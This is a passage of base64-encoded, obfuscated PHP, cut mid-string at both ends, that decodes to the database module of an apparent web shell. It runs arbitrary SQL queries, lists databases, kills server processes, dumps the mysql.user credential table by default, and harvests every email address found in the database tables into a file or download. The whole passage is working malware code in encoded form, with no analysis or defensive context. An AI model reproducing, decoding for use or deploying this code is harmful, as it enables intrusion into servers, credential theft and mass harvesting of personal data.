7JGk8JHNxbC0+bnVtX3Jvd3M7JGkrKyl7IGlmKEBpc19hcnJheSgkc3FsLT5yb3dzWyRpXSkpeyAkdG1wYXJyPWFycmF5KCk7IGZvcmVhY2goJHNxbC0+cm93c1skaV0gYXMgJHJrPT4kcnYpeyAkdG1wYXJyW109JHJ2OyB9ICRwcmludF9hcnJbXT0kdG1wYXJyOyB9IH0gQHVzb3J0KCRwcmludF9hcnIsInoyYiIpOyBpZigkcHNxbF9zb3J0WzFdPT0iZCIpeyAkcHJpbnRfYXJyPUBhcnJheV9yZXZlcnNlKCRwcmludF9hcnIpOyB9IGZvcigkaT0wOyRpPEBjb3VudCgkcHJpbnRfYXJyKTskaSsrKXsgZWNobyB6NmYoKCRpJTI/JzAnOicxJykpOyAkY3I9MDsgZm9yZWFjaCgkcHJpbnRfYXJyWyRpXSBhcyAkcnYpeyBlY2hvIHo5YygoQGlzX251bGwoJHJ2KT8nTlVMTCc6KCRjcj09MD8gIjxub2JyPiIuejV4KGFycmF5KCJhY3QiPT4ic3FsIiwic3FsX3NlcnZlciIsInNxbF91c2VyIiwic3FsX3Bhc3MiLCJzcWxfcG9ydCIsInNxbF9lbmdpbmUiLCJkIiwic3FsX2FjdCI9PiJ0YWJsZV9hY3QiLCJzcWxfZGIiLCJzZWxfdGFibGUiPT4kcnYsInRhYmxlX2FjdCI9PiJicm93c2UiKSx6OGIoJHJ2LCIxMSIpKS4iPC9ub2JyPiIgOkBodG1sc3BlY2lhbGNoYXJzKCRydikpKSwiMTQiLCgkY3I9PTA/JzInOigkY3I9PShAY291bnQoJHByaW50X2FyclskaV0pLTEpPyczJzonJykpKTsgaWYoJGNyPT0wKSBlY2hvIHo5YygiPG5vYnI+Ii56NXgoYXJyYXkoImFjdCI9PiJzcWwiLCJkIiwic3FsX3NlcnZlciIsInNxbF91c2VyIiwic3FsX3Bhc3MiLCJzcWxfcG9ydCIsInNxbF9lbmdpbmUiLCJzcWxfYWN0Ij0+InRhYmxlX2FjdCIsInNxbF9kYiIsInNlbF90YWJsZSI9PiRydiksejNtKCJ0YWJsZV9hY3QiLCR0YWJsZV9hY3Rpb25zLCIzIikuejhiKCImcmFxdW87IiwiNiIpKS4iPC9ub2JyPiIsIjE0IiwiOCIpOyAkY3IrKzsgfSBlY2hvIHo3eSgpOyB9IGVjaG8gejEwcSgpLno3ZigpLno3eSgpLnoxMHEoKS56NWgoKS56N2YoKS56N3koKS56MTBxKCk7IH0gfSB9IGlmKCRzcWxfYWN0PT0icXVlcnkiKXsgZWNobyB6M3Eoejl5KCIzNzAiKSk7IGVjaG8gejltKCIyIikuejV4KGFycmF5KCJhY3QiPT4ic3FsIiwiZCIsInNxbF9zZXJ2ZXIiLCJzcWxfdXNlciIsInNxbF9wYXNzIiwic3FsX3BvcnQiLCJzcWxfZW5naW5lIiwic3FsX2FjdCI9PiJxdWVyeSIsInF1ZXJ5X2NvbmZpcm0iPT4iMSIpLCB6NWIoKS4gejd1KHo1dCh6OXkoIjM2NCIpKS56OWMoejV5KCJzcWxfZGIiLCIiLCI3IikpKS4gejlkKHo1dCh6OXkoIjM3MCIpKS56OWMoejV3KCJzcWxfcXVlcnkiLCI1IikuKEBpc3NldCgkc3FsX3F1ZXJ5KT9AaHRtbHNwZWNpYWxjaGFycygkc3FsX3F1ZXJ5KToiIikuejVxKCkpKS4gejd1KHo1dCh6OXgoKSkuejljKHo4Yih6OXkoIjM3MSIpLCI3IikpKS4gejViKCkpLiB6MTBxKCk7IGlmKEBpc3NldCgkcXVlcnlfY29uZmlybSkmJiRxdWVyeV9jb25maXJtKXsgaWYoQGlzc2V0KCRzcWxfZGIpJiYhQGVtcHR5KCRzcWxfZGIpKXsgJHNxbC0+YmFzZT0kc3FsX2RiOyBpZighJHNxbC0+c2VsZWN0X2RiKCkpeyBlY2hvIHozcSh6OXkoIjQ0NyIpKTsgfSB9ICRxX3NxbF9lcnJvcj0nJzsgJHFfc3FsX3Jlc3VsdD0nJzsgaWYoQHN0cmxlbigkc3FsX3F1ZXJ5KT41KXsgJHFfc3FsX3Jlc3VsdC49ejNxKHo5eSgiMzk0IikpOyBzd2l0Y2goJHNxbC0+cXVlcnkoJHNxbF9xdWVyeSkpeyBjYXNlICcwJzogJHFfc3FsX3Jlc3VsdC49ejNxKCJFUlJPUiA6ICIuJHNxbC0+ZXJyb3IpOyBicmVhazsgY2FzZSAnMSc6IGlmKCRzcWwtPmdldF9yZXN1bHQoKSl7ICRxX3NxbF9yZXN1bHQuPXo5bSgnMicpLno3bygpLno3aigpLno1eignJywiMCIpLno5bSgiMiIpLno3bygpLno3aigpOyBmb3JlYWNoKCRzcWwtPmNvbHVtbnMgYXMgJGs9PiR2KSAkc3FsLT5jb2x1bW5zWyRrXT1AaHRtbHNwZWNpYWxjaGFycygkdixFTlRfUVVPVEVTKTsgJGtleXM9IiI7ICRjb3VudF9rZXlzPUBjb3VudCgkc3FsLT5jb2x1bW5zKTsgJGtleV9udW09MDsgZm9yZWFjaCgkc3FsLT5jb2x1bW5zIGFzICRjb2x1bW4peyBpZigka2V5X251bT09MCl7ICRrZXlzLj16OWMoJGNvbHVtbiwiMTMiLCAiMDIiKTsgfSBlbHNlaWYoJGtleV9udW09PSgkY291bnRfa2V5cy0xKSl7ICRrZXlzLj16OWMoJGNvbHVtbiwiMTMiLCAiMDMiKTsgfWVsc2V7ICRrZXlzLj16OWMoJGNvbHVtbiwiMTMiLCIwIik7IH0gJGtleV9udW0rKzsgfSAkcV9zcWxfcmVzdWx0Lj16N3UoJGtleXMpOyBmb3IoJGk9MDskaTwkc3FsLT5udW1fcm93czskaSsrKXsgZm9yZWFjaCgkc3FsLT5yb3dzWyRpXSBhcyAkaz0+JHYpICRzcWwtPnJvd3NbJGldWyRrXT1AaHRtbHNwZWNpYWxjaGFycygkdixFTlRfUVVPVEVTKTsgJHZhbHVlcz0iIjsgJGNvdW50X3ZhbHVlcz1AY291bnQoJHNxbC0+cm93c1skaV0pOyAkdmFsdWVfbnVtPTA7IGZvcmVhY2goJHNxbC0+cm93c1skaV0gYXMgJHJvdyl7IGlmKCR2YWx1ZV9udW09PTApeyAkdmFsdWVzLj16OWMoJHJvdywiMTQiLCIyIik7IH1lbHNlaWYoJHZhbHVlX251bT09KCRjb3VudF92YWx1ZXMtMSkpeyAkdmFsdWVzLj16OWMoJHJvdywiMTQiLCIzIik7IH1lbHNleyAkdmFsdWVzLj16OWMoJHJvdywiMTQiKTsgfSAkdmFsdWVfbnVtKys7IH0gJHFfc3FsX3Jlc3VsdC49ejd1KCR2YWx1ZXMsKCRpJTI/JzAnOicxJykpOyB9ICRxX3NxbF9yZXN1bHQuPXo3ZigpLno3eSgpLnoxMHEoKS56NWgoKS56N2YoKS56N3koKS56MTBxKCk7IH0gYnJlYWs7IGNhc2UgJzInOiAkYXI9JHNxbC0+YWZmZWN0ZWRfcm93cygpPygkc3FsLT5hZmZlY3RlZF9yb3dzKCkpOignMCcpOyAkcV9zcWxfcmVzdWx0Lj16M3EoIkFGRkVDVEVEIFJPV1M6ICIuJGFyKTsgYnJlYWs7IH0gfSBpZigkcV9zcWxfcmVzdWx0IT0nJyl7IGVjaG8gJHFfc3FsX3Jlc3VsdDsgJHFfc3FsX3Jlc3VsdD0nJzsgfSB9IH0gaWYoJHNxbF9hY3Q9PSJlbWFpbHMiKXsgJGVtYWlscz1hcnJheSgpOyBpZighQGlzc2V0KCRlbWFpbHNfZmlsZW5hbWUpKSAkZW1haWxzX2ZpbGVuYW1lPSR0ZW1wZGlyLiJlbWFpbHNfIi5AZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiJfZGJfIi5AZGF0ZSgiZC1tLVlfSC1pLXMiKS4iLnR4dCI7IGlmKEBpc3NldCgkc3FsX2RiKSYmIUBlbXB0eSgkc3FsX2RiKSl7ICRzcWwtPmJhc2U9JHNxbF9kYjsgaWYoJHNxbC0+c2VsZWN0X2RiKCkpeyAkdGFibGVfbGlzdD1hcnJheSgpOyAkc3FsLT5xdWVyeSgnU0hPVyBUQUJMRVMgRlJPTSAnLiRzcWxfZGIuJzsnKTsgaWYoJHNxbC0+Z2V0X3Jlc3VsdCgpKXsgZm9yKCRpPTA7JGk8JHNxbC0+bnVtX3Jvd3M7JGkrKyl7IGZvcmVhY2goJHNxbC0+cm93c1skaV0gYXMgJHJrPT4kcnYpeyAkdGFibGVfbGlzdFtdPSRydjsgfSB9IH0gfSB9IGlmKCFAaXNzZXQoJHNxbF90YWJsZXMpfHxAZW1wdHkoJHNxbF90YWJsZXMpKXsgaWYoQGlzc2V0KCRzZWxfdGFibGUpJiYhQGVtcHR5KCRzZWxfdGFibGUpKXsgJHNxbF90YWJsZXM9JHNlbF90YWJsZTsgfSBlbHNlIHsgJHNxbF90YWJsZXM9KEBjb3VudCgkdGFibGVfbGlzdCk+MD9AaW1wbG9kZSgiLCIsJHRhYmxlX2xpc3QpOiIiKTsgfSB9IGVsc2VpZihAaXNzZXQoJHRhYmxlX2xpc3QpJiZAaXNfYXJyYXkoJHRhYmxlX2xpc3QpKSB7ICR0bXBfdGFibGVzPUBleHBsb2RlKCIsIiwkc3FsX3RhYmxlcyk7ICRzcWxfdGFibGVzPSIiOyBmb3JlYWNoKCR0bXBfdGFibGVzIGFzICR0bXBfdGFibGUpeyAkdG1wX3RhYmxlPUB0cmltKCR0bXBfdGFibGUpOyBpZihAaW5fYXJyYXkoJHRtcF90YWJsZSwkdGFibGVfbGlzdCkpeyAkc3FsX3RhYmxlcy49JHRtcF90YWJsZS4iLCI7IH0gZWxzZSB7IGJyZWFrOyB9IH0gaWYoQGVtcHR5KCRzcWxfdGFibGVzKSkgJHNxbF90YWJsZXM9QGltcGxvZGUoIiwiLCR0YWJsZV9saXN0KTsgfSBlY2hvIHozcSh6OXkoIjM3MiIpKTsgZWNobyB6OW0oIjIiKS56NXgoYXJyYXkoImFjdCI9PiJzcWwiLCJkIiwic3FsX3NlcnZlciIsInNxbF91c2VyIiwic3FsX3Bhc3MiLCJzcWxfcG9ydCIsInNxbF9lbmdpbmUiLCJzcWxfYWN0Ij0+ImVtYWlscyIsImR1bXBfY29uZmlybSI9PiIxIiksIHo1YigpLiB6N3UoejV0KHo5eSgiMzY0IikpLno5Yyh6M20oInNxbF9kYiIsJGRiX2xpc3QsIjciLDEpKSkuIHo3dSh6NXQoejl5KCIzNzMiKSkuejljKHo1dygic3FsX3RhYmxlcyIsIjUiKS4oQGlzc2V0KCRzcWxfdGFibGVzKT9AaHRtbHNwZWNpYWxjaGFycygkc3FsX3RhYmxlcyk6IiIpLno1cSgpKSkuIHo3dSh6NXQoejl5KCIzNzQiKSkuejljKHo1eSgiZW1haWxzX2ZpbGVuYW1lIiwkZW1haWxzX2ZpbGVuYW1lLCI3IikpKS4gejd1KHo1dCh6OXgoKSkuejljKHo1dSgic3FsX3NhdmUyZmlsZSIsejl5KCIzNzUiKSwic3FsX3NhdmUyZmlsZSIpLno5eCgpLno1dSgic3FsX2Rvd25sb2FkIix6OXkoIjM3NiIpLCJzcWxfZG93bmxvYWQiKSkpLiB6N3UoejV0KHo5eCgpKS56OWMoejhiKHo5eSgiMzc3IiksIjciKSkpLiB6NWIoKSkuIHoxMHEoKTsgaWYoQGlzc2V0KCRkdW1wX2NvbmZpcm0pJiYkZHVtcF9jb25maXJtKXsgJGZwPTA7IGlmKEBpc3NldCgkc3FsX3NhdmUyZmlsZSkmJiRzcWxfc2F2ZTJmaWxlPT0iMSImJkBpc3NldCgkZHVtcF9maWxlbmFtZSkmJiFAZW1wdHkoJGR1bXBfZmlsZW5hbWUpKXsgJGZwPUBmb3BlbigkZW1haWxzX2ZpbGVuYW1lLCJ3Iik7IH0gJGR1bXBpbmdfYXJyPWFycmF5KCk7ICR0bXBfdGFibGVzPUBleHBsb2RlKCIsIiwkc3FsX3RhYmxlcyk7IGZvcmVhY2goJHRtcF90YWJsZXMgYXMgJHRtcF90YWJsZSl7ICR0bXBfdGFibGU9QHRyaW0oJHRtcF90YWJsZSk7ICRkdW1waW5nX2FycltdPSR0bXBfdGFibGU7IH0gJGR1bXBpbmdfYXJyPUBhcnJheV91bmlxdWUoJGR1bXBpbmdfYXJyKTsgJHNxbC0+YmFzZT0kc3FsX2RiOyBpZighJHNxbC0+c2VsZWN0X2RiKCkpeyBlY2hvIHozcSh6OXkoIjQ0NyIpKTsgfWVsc2VpZihAY291bnQoJGR1bXBpbmdfYXJyKTwxKXsgZWNobyB6M3Eoejl5KCI0NDgiKSk7IH1lbHNleyBmb3JlYWNoKCRkdW1waW5nX2FyciBhcyAkZHVtcF90YWJsZSl7IGlmKCRzcWwtPnBhcnNlX2ZpZWxkcygkZHVtcF90YWJsZSkpeyBmb3JlYWNoKCRzcWwtPmNvbHVtbnMgYXMgJGNrPT4kY3YpeyBpZigkc3FsLT5xdWVyeSgiU0VMRUNUICIuJGN2LiIgRlJPTSAiLiRkdW1wX3RhYmxlLiIgV0hFUkUgIi4kY3YuIiBSRUdFWFAgJ15bXkBdK0BbXkBdK1wuW15AXXsyLH0kJzsiKSl7IGlmKCRzcWwtPmdldF9yZXN1bHQoKSl7IGZvcigkaT0wOyAkaTwgJHNxbC0+bnVtX3Jvd3M7ICRpKyspeyAkdG1wbWFpbHM9ejNrKCRzcWwtPnJvd3NbJGldWyRjdl0pOyBpZihAY291bnQoJHRtcG1haWxzKT4wKXsgZm9yZWFjaCgkdG1wbWFpbHMgYXMgJG10bXApICRlbWFpbHNbXT0kbXRtcDsgfSB9IH0gfSB9IH0gfSAkZW1haWxzPUBhcnJheV91bmlxdWUoJGVtYWlscyk7IGlmKEBjb3VudCgkZW1haWxzKT4wKXsgJG1haWxkdW1wPUBpbXBsb2RlKCJcclxuIiwkZW1haWxzKTsgaWYoQGlzc2V0KCRzcWxfZG93bmxvYWQpJiYkc3FsX2Rvd25sb2FkPT0iMSIpeyBAb2JfY2xlYW4oKTsgQGhlYWRlcigiQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsgQGhlYWRlcigiQ29udGVudC1sZW5ndGg6ICIuQHN0cmxlbigkbWFpbGR1bXApKTsgQGhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLkBiYXNlbmFtZSgkZW1haWxzX2ZpbGVuYW1lKS4iXCI7Iik7IGVjaG8gJG1haWxkdW1wOyBleGl0KCk7IH0gaWYoIUBpc3NldCgkc3FsX3NhdmUyZmlsZSl8fCRzcWxfc2F2ZTJmaWxlIT0iMSIpeyBlY2hvIHo5bSgnMicpLno2ZigpLno2cSgpLno1dygnJywnMScpLkBodG1sc3BlY2lhbGNoYXJzKCRtYWlsZHVtcCkuejVxKCkuejdmKCkuejd5KCkuejEwcSgpLno2cygpOyB9ZWxzZWlmKCRmcHx8QGZ1bmN0aW9uX2V4aXN0cygnZmlsZV9wdXRfY29udGVudHMnKSl7IGlmKEBmd3JpdGUoJGZwLCRtYWlsZHVtcCkgb3IgQGZwdXRzKCRmcCwkbWFpbGR1bXApIG9yIEBmaWxlX3B1dF9jb250ZW50cygkZW1haWxzX2ZpbGVuYW1lLCRtYWlsZHVtcCkpeyBlY2hvIHozcSh6OXkoIjQ0OSIsJGVtYWlsc19maWxlbmFtZSkpOyB9ZWxzZXsgZWNobyB6M3Eoejl5KCI0NTAiKSk7IH0gfWVsc2V7IGVjaG8gejNxKHo5eSgiNDUwIikpOyB9IH0gfSB9IH0gaWYoJHNxbF9hY3Q9PSJzZXJ2ZXJzdGF0dXMiKXsgZWNobyB6M3Eoejl5KCIzNzgiKSwiMSIpOyAkc3FsLT5xdWVyeSgiU0hPVyBTVEFUVVMiKTsgaWYoJHNxbC0+Z2V0X3Jlc3VsdCgpKXsgZWNobyB6OW0oJzInKS56N3UoejljKHo5eSgiMzgwIiksIjEzIiwiMiIpLno5Yyh6OXkoIjM4MSIpLCIxMyIsIjMiKSk7IGZvcigkaT0wOyRpPCRzcWwtPm51bV9yb3dzOyRpKyspeyBlY2hvIHo2ZigoJGklMj8nMCc6JzEnKSk7ICRjcj0wOyBmb3JlYWNoKCRzcWwtPnJvd3NbJGldIGFzICRyaz0+JHJ2KXsgZWNobyB6OWMoJHJ2LCIxNCIsKCRjcj09MD8nMjUnOigkY3I9PShAY291bnQoJHNxbC0+cm93c1skaV0pLTEpPyczJzonJykpKTsgJGNyKys7IH0gZWNobyB6N3koKTsgfSBlY2hvIHoxMHEoKTsgfSB9IGlmKCRzcWxfYWN0PT0ic2VydmVydmFycyIpeyBlY2hvIHozcSh6OXkoIjM3OSIpLCIxIik7ICRzcWwtPnF1ZXJ5KCJTSE9XIFZBUklBQkxFUyIpOyBpZigkc3FsLT5nZXRfcmVzdWx0KCkpeyBlY2hvIHo5bSgnMicpLno3dSh6OWMoejl5KCIzODAiKSwiMTMiLCIyIikuejljKHo5eSgiMzgxIiksIjEzIiwiMyIpKTsgZm9yKCRpPTA7JGk8JHNxbC0+bnVtX3Jvd3M7JGkrKyl7IGVjaG8gejZmKCgkaSUyPycwJzonMScpKTsgJGNyPTA7IGZvcmVhY2goJHNxbC0+cm93c1skaV0gYXMgJHJrPT4kcnYpeyBlY2hvIHo5YygkcnYsIjE0IiwoJGNyPT0wPycyNSc6KCRjcj09KEBjb3VudCgkc3FsLT5yb3dzWyRpXSktMSk/JzMnOicnKSkpOyAkY3IrKzsgfSBlY2hvIHo3eSgpOyB9IGVjaG8gejEwcSgpOyB9IH0gaWYoJHNxbF9hY3Q9PSJwcm9jZXNzZXMiKXsgaWYoQGlzc2V0KCRraWxsKSYmIUBlbXB0eSgka2lsbCkpeyAkcXVlcnk9IktJTEwgIi4ka2lsbC4iOyI7ICRzcWwtPnF1ZXJ5KCRxdWVyeSk7IGVjaG8gejNxKHo5eSgiMzkzIiwka2lsbCksIjEiKTsgfSBlbHNlIHsgZWNobyB6M3Eoejl5KCIzODIiKSwiMSIpOyB9ICRzcWwtPnF1ZXJ5KCJTSE9XIFBST0NFU1NMSVNUOyIpOyBpZigkc3FsLT5nZXRfcmVzdWx0KCkpeyBlY2hvIHo5bSgnMicpLno3dSh6OWMoejl5KCIzODMiKSwiMTMiLCIyIikuejljKHo5eSgiMzg0IiksIjEzIikuejljKHo5eSgiMzg1IiksIjEzIikuejljKHo5eSgiMzg2IiksIjEzIikuejljKHo5eSgiMzg3IiksIjEzIikuejljKHo5eSgiMzg4IiksIjEzIikuejljKHo5eSgiMzg5IiksIjEzIikuejljKHo5eSgiMzkwIiksIjEzIikuejljKHo5eSgiMzkxIiksIjEzIiwiMyIpKTsgZm9yKCRpPTA7JGk8JHNxbC0+bnVtX3Jvd3M7JGkrKyl7IGVjaG8gejZmKCgkaSUyPycwJzonMScpKTsgJGNyPTA7ICRwaWQ9Jyc7IGZvcmVhY2goJHNxbC0+cm93c1skaV0gYXMgJHJrPT4kcnYpeyBlY2hvIHo5YygkcnYsIjE0IiwoJGNyPT0wPyc1JzonJykpOyBpZigkY3I9PTApICRwaWQ9JHJ2OyAkY3IrKzsgfSBlY2hvIHo5Yyh6NXgoYXJyYXkoImFjdCI9PiJzcWwiLCJkIiwic3FsX3NlcnZlciIsInNxbF91c2VyIiwic3FsX3Bhc3MiLCJzcWxfcG9ydCIsInNxbF9lbmdpbmUiLCJzcWxfYWN0Ij0+InByb2Nlc3NlcyIsImtpbGwiPT4kcGlkKSx6OGIoejl5KCIzOTIiKSwiNyIpKSwiMTQiKTsgZWNobyB6N3koKTsgfSBlY2hvIHoxMHEoKTsgfSB9IGlmKCRzcWxfYWN0PT0ic2hvd2RiIil7ICRwc3FsX3NvcnQ9ejVyKCRzcWxfc29ydCk7IGlmKCRwc3FsX3NvcnRbMV0hPSdhJykgJHBzcWxfc29ydFsxXT0nZCc7IGlmKCRwc3FsX3NvcnRbMF0+MikgJHBzcWxfc29ydFswXT0nMCc7ICR2PSRwc3FsX3NvcnRbMF07IGVjaG8gejNxKHo5eSgiMzU5IiksIjEiKTsgZWNobyB6OW0oJzInKTsgZWNobyB6N3UoIHo5Yyh6NXgoYXJyYXkoImFjdCI9PiJzcWwiLCJkIiwic3FsX3NlcnZlciIsInNxbF91c2VyIiwic3FsX3Bhc3MiLCJzcWxfcG9ydCIsInNxbF9lbmdpbmUiLCJzcWxfc29ydCI9PigkcHNxbF9zb3J0WzBdPT0nMCc/JzAnLigkcHNxbF9zb3J0WzFdPT0iYSI/ImQiOiJhIik6JzAnLiRwc3FsX3NvcnRbMV0pKSx6OGIoejl5KCIzNjAiKS4oJHBzcWxfc29ydFswXT09JzAnPycgJy4oJHBzcWxfc29ydFsxXT09ImEiPycmdWFycjsnOicmZGFycjsnKTonJyksJzMnKSksIjEzIiwiMiIpLiB6OWMoejV4KGFycmF5KCJhY3QiPT4ic3FsIiwiZCIsInNxbF9zZXJ2ZXIiLCJzcWxfdXNlciIsInNxbF9wYXNzIiwic3FsX3BvcnQiLCJzcWxfZW5naW5lIiwic3FsX3NvcnQiPT4oJHBzcWxfc29ydFswXT09JzEnPycxJy4oJHBzcWxfc29ydFsxXT09ImEiPyJkIjoiYSIpOicxJy4kcHNxbF9zb3J0WzFdKSksejhiKHo5eSgiMzYxIikuKCRwc3FsX3NvcnRbMF09PScxJz8nICcuKCRwc3FsX3NvcnRbMV09PSJhIj8nJnVhcnI7JzonJmRhcnI7Jyk6JycpLCczJykpLCIxMyIpLiB6OWMoejV4KGFycmF5KCJhY3QiPT4ic3FsIiwiZCIsInNxbF9zZXJ2ZXIiLCJzcWxfdXNlciIsInNxbF9wYXNzIiwic3FsX3BvcnQiLCJzcWxfZW5naW5lIiwic3FsX3NvcnQiPT4oJHBzcWxfc29ydFswXT09JzInPycyJy4oJHBzcWxfc29ydFsxXT09ImEiPyJkIjoiYSIpOicyJy4kcHNxbF9zb3J0WzFdKSksejhiKHo5eSgiMzYyIikuKCRwc3FsX3NvcnRbMF09PScyJz8nICcuKCRwc3FsX3NvcnRbMV09PSJhIj8nJnVhcnI7JzonJmRhcnI7Jyk6JycpLCczJykpLCIxMyIpLiB6OWMoejl5KCIzNjMiKSwiMTMiLCIzIikgKTsgaWYoQGNvdW50KCRkYl9saXN0KT4xKXsgJGRlZl9kYj0kc3FsLT5iYXNlOyAkdG90YWxfdGFibGVzPTA7ICR0b3RhbF9zaXplPTA7ICRwcmludF9hcnI9YXJyYXkoKTsgZm9yZWFjaCgkc3FsLT5saXN0X2RicygpIGFzICRrPT4ka3YpeyAkc3FsLT5iYXNlPSRrOyAkdGFibGVzPSIwIjsgJHNpemU9IjAiOyBpZigkc3FsLT5zZWxlY3RfZGIoKSl7ICRzcWwtPnF1ZXJ5KCJTSE9XIFRBQkxFUzsiKTsgaWYoJHNxbC0+Z2V0X3Jlc3VsdCgpKSAkdGFibGVzPSRzcWwtPm51bV9yb3dzOyAkc3FsLT5xdWVyeSgiU0VMRUNUIHJvdW5kKGRhdGFfbGVuZ3RoICsgaW5kZXhfbGVuZ3RoKSBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS5UQUJMRVMgV0hFUkUgdGFibGVfc2NoZW1hID0gXCIiLiRrLiJcIjsiKTsgaWYoJHNxbC0+Z2V0X3Jlc3VsdCgpKSAkc2l6ZT1AaW1wbG9kZSgnJywkc3FsLT5yb3dzWzBdKTsgfSAkcHJpbnRfYXJyW109YXJyYXkoJGssJHNpemUsJHRhYmxlcyk7ICR0b3RhbF90YWJsZXMrPSR0YWJsZXM7ICR0b3RhbF9zaXplKz0kc2l6ZTsgfSAkc3FsLT5iYXNlPSRkZWZfZGI7ICRzcWwtPnNlbGVjdF9kYigpOyB9IGlmKEBjb3VudCgkcHJpbnRfYXJyKT4wKXsgJGNvdW50PTA7IEB1c29ydCgkcHJpbnRfYXJyLCJ6MmIiKTsgaWYoJHBzcWxfc29ydFsxXT09ImQiKXsgJHByaW50X2Fycj1AYXJyYXlfcmV2ZXJzZSgkcHJpbnRfYXJyKTsgfSBmb3JlYWNoKCRwcmludF9hcnIgYXMgJGFyKXsgZWNobyB6N3UoejljKHo1eChhcnJheSgiYWN0Ij0+InNxbCIsInNxbF9zZXJ2ZXIiLCJzcWxfdXNlciIsInNxbF9wYXNzIiwic3FsX3BvcnQiLCJzcWxfZW5naW5lIiwic3FsX2FjdCI9PiJkYl9hY3QiLCJkYl9hY3QiPT4ic2VsZWN0IiwiZCIsInNxbF9kYiI9PiRhclswXSksejhiKCRhclswXSwiMTEiKSksIjE0IiwiMiIpLno5Yyh6N3goJGFyWzFdKSwiMTQiKS56OWMoJGFyWzJdLCIxNCIpLno5YygiPG5vYnI+Ii56NXgoYXJyYXkoImFjdCI9PiJzcWwiLCJkIiwic3FsX3NlcnZlciIsInNxbF91c2VyIiwic3FsX3Bhc3MiLCJzcWxfcG9ydCIsInNxbF9lbmdpbmUiLCJzcWxfYWN0Ij0+ImRiX2FjdCIsInNxbF9kYiI9PiRhclswXSksejNtKCJkYl9hY3QiLCRkYl9hY3Rpb25zLCIzIikuejhiKCImcmFxdW87IiwiNiIpKS4iPC9ub2JyPiIsIjE0IiwiMzgiKSwoJGNvdW50JTI/JzAnOicxJykpOyAkY291bnQrKzsgfSBlY2hvIHo3dSh6OWMoejduKHo5eSgiNDA5IiwkY291bnQpKSwiMTMiLCIyIikuejljKHo3eCgkdG90YWxfc2l6ZSksIjEzIikuejljKCR0b3RhbF90YWJsZXMsIjEzIikuejljKHo5eCgpLCIxMyIsIjMiKSk7IH0gZWNobyB6MTBxKCk7IH0gfSB9IGVsc2UgeyAkaG1zZz16OXkoIjE5MSIpOyB9IH0gaWYoISRoaWRlY29ubmVjdCl7IGlmKCFAaXNzZXQoJHFfc3FsX3F1ZXJ5KSkgJHFfc3FsX3F1ZXJ5PSJTSE9XIERBVEFCQVNFUztcblNFTEVDVCAqIEZST00gdXNlcjsiOyBpZighQGlzc2V0KCRxX3NxbF9maWxlbmFtZSkpICRxX3NxbF9maWxlbmFtZT0kdGVtcGRpci4iZHVtcF8iLkBnZXRlbnYoIlNFUlZFUl9OQU1FIikuIl9kYl8iLkBkYXRlKCJkLW0tWV9ILWktcyIpLiIuc3FsIjsgJGF2YWlsYWJsZV9hcnI9YXJyYXkoKTsgaWYoJGJteXNxbCkgJGF2YWlsYWJsZV9hcnJbIk15U1FMIl09Ik15U1FMIjsgaWYoJGJtc3NxbCkgJGF2YWlsYWJsZV9hcnJbIk1TU1FMIl09Ik1TU1FMIjsgaWYoJGJwb3N0Z3JlcykgJGF2YWlsYWJsZV9hcnJbIlBvc3RncmVTUUwiXT0iUG9zdGdyZVNRTCI7IGlmKCRib3JhY2xlKSAkYXZhaWxhYmxlX2FyclsiT3JhY2xlIl09Ik9yYWNsZSI7IGVjaG8gejNxKHo5eSgiNDUxIikuKCRobXNnIT0nJz8nIDogJy4kaG1zZzonJykpOyBlY2hvIHo5bSgnMicpLiB6NXgoYXJyYXkoImFjdCI9PiJzcWwiLCJkIiksIHo1YigpLiB6N3UoejZ6KHo3bih6OXkoIjQ1MiIpKSkuejdrKHo1eSgic3FsX3NlcnZlciIsIjEyNy4wLjAuMSIsIjQiKS4iOiIuejV5KCJzcWxfcG9ydCIsIjMzMDYiLCIxIikpLno2eih6N24oejl5KCI0NTMiKSkpLno3ayh6NXkoInNxbF91c2VyIiwicm9vdCIsIjQiKSkuejZ6KHo3bih6OXkoIjQ1NCIpKSkuejdrKHo1eSgic3FsX3Bhc3MiLCIiLCI0IikpLno2eih6N24oejl5KCI0NTUiKSkpLno3ayh6NXkoInNxbF9kYiIsIiIsIjQiKSkuejZ6KHo3bih6OXkoIjQ1NiIpKSkuejdrKHozbSgic3FsX2VuZ2luZSIsYXJyYXkoIk15U1FMIj0+Ik15U1FMIiksIjQiLDEpLno4Yih6OXkoIjQ1NyIpLCI3IikpKSApLiB6MTBxKCk7IGVjaG8gejZzKCk7IGVjaG8gejNxKGFycmF5KHo5eSgiNDEwIiksejl5KCI0MjAiKSksJzQ2Jyk7IGVjaG8gejltKCcyJykuIHo5ZCggejljKCB6NXgoYXJyYXkoImFjdCI9PiJzcWwiLCJkIiwicV9zcWxfYWN0aW9uIj0+ImR1bXAiKSwgejltKCkuIHo1YigpLiB6N3UoejV0KHo5eSgiNDExIikpLno5Yyh6M20oInFfc3FsX2VuZ2luZSIsJGF2YWlsYWJsZV9hcnIsIjQiLDEpKSkuIHo3dSh6NXQoejl5KCI0MTIiKSkuejljKHo1eSgicV9zcWxfc2VydmVyIiwiMTI3LjAuMC4xIiwnNCcpLiI6Ii56NXkoInFfc3FsX3BvcnQiLCIzMzA2IiwiMSIpKSkuIHo3dSh6NXQoejl5KCI0MTMiKSkuejljKHo1eSgicV9zcWxfdXNlciIsInJvb3QiLCI0IikuIjoiLno1eSgicV9zcWxfcGFzcyIsIiIsIjQiKSkpLiB6N3UoejV0KHo5eSgiNDE0IikpLno5Yyh6NXkoInFfc3FsX2RiIiwibXlzcWwiLCI0IikuIi4iLno1eSgicV9zcWxfdGFibGUiLCJ1c2VyIiwiNCIpKSkuIHo3dSh6NXQoejl5KCI0MTUiKSkuejljKHo1eSgicV9zcWxfZmlsZW5hbWUiLCRxX3NxbF9maWxlbmFtZSwiOCIpKSkuIHo3dSh6NXQoejl4KCkpLno5Yyh6NXUoInFfc3FsX2Rvd25sb2FkIix6OXkoIjQxNiIpLCJxX3NxbF9kb3dubG9hZCIpKSkuIHo3dSh6NXQoejl4KCkpLno5Yyh6NXUoInFfc3FsX3NhdmUyZmlsZSIsejl5KCI0MTciKSwicV9zcWxfc2F2ZTJmaWxlIikpKS4gejd1KHo1dCh6OXgoKSkuejljKHo4Yih6OXkoIjQxOCIpLCI3IikpKS4gejViKCkuIHoxMHEoK